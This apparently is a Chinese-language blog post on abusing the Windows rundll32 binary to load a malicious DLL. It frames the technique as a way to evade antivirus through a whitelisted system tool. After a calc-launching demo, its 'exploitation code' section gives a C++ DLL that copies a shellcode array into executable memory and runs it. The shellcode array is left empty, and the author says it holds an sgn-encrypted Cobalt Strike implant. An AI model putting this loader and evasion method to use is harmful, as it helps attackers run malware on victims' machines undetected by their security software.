Rundll32加载恶意dll

发布时间 2023-11-22 17:57:48作者: 疯癫兄

rundll32加载恶意dll

0x00 原理

rundll32可以加载恶意dll的函数,比如在cmd中rundll32 a.dll fun1,就会执行a.dll中的fun1函数

一个简单的例子,我们新建一个dll项目,在dllmain.cpp下添加如下代码:

void fun() {
    system("calc");
}

再新建source.def文件,用于导出函数,如下:

LIBRARY
EXPORTS
fun  

然后直接生成就可以,我们接下来测试

image-20231122170353514

通过这种方式,相当于利用了windows白名单,从而达到一个规避杀软的效果。

0x01 利用代码

这里我们直接拿shellcode加密一下过来执行即可,当然我们也可以定义多个函数,再添加一些其他的小功能,比如说添加用户。

这里我们直接用sgn加密cs生成的木马,然后执行,接下来看效果。

代码如下

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdio.h>
#include <stdlib.h>


void fun()
{
	unsigned char shellcode[] = {
	};

    void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);

    ((void(*)())exec)();
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{

    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}


image-20231122173855977

0x02 扩展

揭秘rundll32中的攻防对抗 - 知乎 (zhihu.com)